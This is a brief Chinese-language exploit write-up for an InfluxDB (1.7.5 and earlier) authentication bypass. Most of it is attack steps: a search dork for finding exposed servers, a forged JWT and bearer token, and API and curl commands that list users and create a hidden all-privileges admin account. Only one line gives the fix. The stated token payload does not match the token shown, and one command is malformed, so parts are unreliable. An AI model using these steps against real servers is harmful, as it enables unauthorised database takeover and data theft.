0x01 漏洞概述
InfluxDB 是一个使用Go语言编写的开源分布式,支持高并发的时序数据库。提供命令行和Web调用API方式对数据库进行增删改查等。InfluxDB配置不当会导致未授权访问以及认证被绕过,对数据库进行任意的增删改查。
影响版本
InfluxDB 1.7.5 及以下全版本
组件Dork
port:8083 port:8086 "X-Influxdb-Version"
0x02 漏洞利用
1.生成jwt token
通用payload{"username":"admin","exp":4093691352}
使用JSON Web Tokens 生成后得到header认证头eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MzQ3NTM4MTkyfQ.ul2SjXnsfsOd9teL8kDKWOAvnIcHArKDi31bJLyAah0
2.API命令
http://<ip>:8086/query?q=CREATE USER "dota" WITH PASSWORD 'dota' WITH ALL PRIVILEGES&db=_internal SHOW STATS //查看运行状态 SHOW USERS // 查看数据库用户 SHOW DATABASES // 查看所有的数据库 SHOW MEASUREMENTS // 查询当前数据库中含有的表 SHOW FIELD KEYS // 查看当前数据库所有表的 CREATE USER 'dota' WITH 'dota ' WITH ALL PRIVILEGES //创建超级管理员
3.拼接构造请求
curl -G '<ip>:8086/query' --data-urlencode 'q=show users' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MzQ3NTM4MTkyfQ.ul2SjXnsfsOd9teL8kDKWOAvnIcHArKDi31bJLyAah0'
0x03 漏洞修复
InfluxDB官方已经完成修复,更新到 InfluxDB 1.7.6版本
0x04 漏洞参考
---The END---
1
1
1
1
1
1
1